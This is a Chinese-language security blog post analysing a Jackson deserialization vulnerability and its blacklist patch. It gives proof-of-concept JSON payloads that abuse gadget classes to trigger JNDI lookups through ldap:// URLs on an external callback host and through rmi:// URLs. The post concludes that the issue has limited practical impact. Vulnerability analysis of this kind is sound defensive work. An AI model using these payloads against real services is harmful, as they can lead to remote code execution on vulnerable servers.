Jackson反序列化漏洞
2020-8-27 17:42:58 Author: mp.weixin.qq.com(查看原文) 阅读量:7 收藏

Author:平安银行应用安全团队@Glassy

引言

今天又看到有一些安全预警平台爆出的Jackson反序列漏洞,要求把Jackson升级到2.9.10.6,所以在下面对漏洞原理和适用范围做一下分析,并给出poc。

补丁分析
补丁特别简单,也如同漏洞公告一样,增加了几处黑名单。

POC构造

br.com.anteros.dbcp.AnterosDBCPDataSource

先看一下该jar包的maven引用次数

再构造poc(原理简单,不做细节描述)

["br.com.anteros.dbcp.AnterosDBCPDataSource", {"metricRegistry":"ldap://ytcrpi.ceye.io:1399/test"}]

com.pastdev.httpcomponents.configuration.JndiConfiguration

先看一下该jar包的maven引用次数

再构造poc

["com.pastdev.httpcomponents.configuration.JndiConfiguration", "ldap://gggg.ytcrpi.ceye.io:1399/test"]
com.nqadmin.rowset.JdbcRowSetImpl

先看一下该jar包的maven引用次数

再构造poc

["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]

org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl

先看一下该jar包的maven引用次数

再构造poc

["org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}]

注意:这一条poc实际上是不可用的,其原因在于该类中因为存在重名函数导致的jackson在反序列化的时候会报同名函数冲突。这是一个原理层面可用,实际不可用的poc。

总结

1. 利用成功需要enableDefaultTyping;

2. Gadget的jar极其罕见。

结论:基本没什么用,不必大惊小怪,不放心请用poc自行去测试。


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&mid=2247484507&idx=1&sn=45a81007a5ed8504907351a020d42234&chksm=cf345cbaf843d5ac21f0000e706b823f7837cf1ce26ebb5f217ceadb50de41e3b18824de57a5&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh